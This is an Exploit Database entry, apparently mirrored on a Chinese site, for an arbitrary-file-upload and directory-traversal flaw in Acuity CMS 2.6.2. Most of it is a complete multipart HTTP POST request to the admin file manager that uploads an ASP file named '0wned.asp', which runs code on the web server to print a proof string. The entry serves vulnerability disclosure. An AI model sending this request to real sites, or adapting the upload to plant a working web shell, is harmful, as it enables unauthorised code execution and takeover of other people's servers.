Acuity CMS 2.6.2 – ‘/admin/file_manager/file_upload_submit.asp’ Multiple Arbitrary File Upload / Code Executions

• Exploit Database
• 111 阅读

• 作者： Aung Khant
  日期： 2012-05-21
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/37222/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

  source: https://www.securityfocus.com/bid/53616/info   Acuity CMS is prone to a directory-traversal vulnerability and an arbitrary-file-upload vulnerability.   An attacker can exploit these issues to obtain sensitive information, to upload arbitrary code, and run it in the context of the webserver process.   Acuity CMS 2.6.2 is vulnerable; prior versions may also be affected.   [REQUEST] POST /admin/file_manager/file_upload_submit.asp HTTP/1.1 Host: localhost Cookie: ASPSESSIONID=XXXXXXXXXXXXXXX   -----------------------------6dc3a236402e2 Content-Disposition: form-data; name="path"   /images -----------------------------6dc3a236402e2 Content-Disposition: form-data; name="rootpath"   / -----------------------------6dc3a236402e2 Content-Disposition: form-data; name="rootdisplay"   http://localhost/ -----------------------------6dc3a236402e2 Content-Disposition: form-data; name="status"   confirmed -----------------------------6dc3a236402e2 Content-Disposition: form-data; name="action"   fileUpload -----------------------------6dc3a236402e2 Content-Disposition: form-data; name="file1"; filename="0wned.asp" Content-Type: application/octet-stream   <% response.write("0wned!") %>   -----------------------------6dc3a236402e2--